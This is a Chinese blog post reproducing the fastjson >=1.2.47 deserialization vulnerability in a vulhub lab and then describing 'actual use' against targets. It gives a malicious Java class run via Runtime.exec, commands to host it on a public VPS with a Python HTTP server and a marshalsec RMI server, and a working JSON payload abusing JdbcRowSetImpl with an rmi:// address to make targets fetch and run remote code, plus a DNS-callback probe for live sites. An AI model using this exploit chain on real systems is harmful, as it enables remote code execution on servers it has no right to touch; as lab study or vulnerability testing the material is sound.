您的位置:首页 > Web前端 > JavaScript

fastjson>=1.2.47反序列化漏洞复现及实际利用

2020-05-07 10:17 453 查看

一头雾水地复现了这个漏洞。。。。。

1.环境搭建

用的是vulhub的环境,里面有各种各样的漏洞环境,简单看看说明就知道怎么操作了。
vulhub下载地址:https://github.com/vulhub/vulhub
在虚拟机上搭建好后看具体的说明文件,是访问8090端口:

ok确认环境已搭建完毕!

2.编译恶意文件

vulhub里面的说明文件就给出了恶意文件的内容:
将这段代码复制出来到文本文件中,设置文件名为TouchFile.java,放在物理机中。

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

然后在TouchFile.java文件目录下执行命令,编译此文件

javac TouchFile.java

编译完成后会生成一个后缀为class的文件,把class文件放在公网vps的根目录下

3.搭建简易的http服务

接下来用python来搭建一个http服务

  • 如果你是python2,使用命令
python -m SimpleHTTPServer 8888
  • 如果是python3,使用命令
python -m http.server 8888

4.用marshalsec开启RMI服务

RMI服务是啥?
远程方法调用(RMI)是一台机器上的程序调用另一台机器上的方法。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8888/#TouchFile 9999

接下来就在请求包中添加payload,发送。
完成。。。。这里我没图。。。。

实际检测方法

payload里的关键流程是:
1、目标访问你payload里面写的rmi://域名:9999/TouchFile
2、然后目标根据你开的RMI服务找到对应的web目录
3、访问Web目录,执行命令

如果我们只是要验证是否存在漏洞,只需要看到目标成功访问我们的域名就能证明有漏洞了,所以并不需要开RMI服务。
直接在payload里填上自己的域名,不需加端口,当然随便写一个也行,然后后面一定要随便写个文件名。
请求头添加

Content-Type: application/json;charset=utf-8

paylod

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://自己的域名/TouchFile",
"autoCommit":true
}
}

执行后查看dns记录,有了!即可证明漏洞存在。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: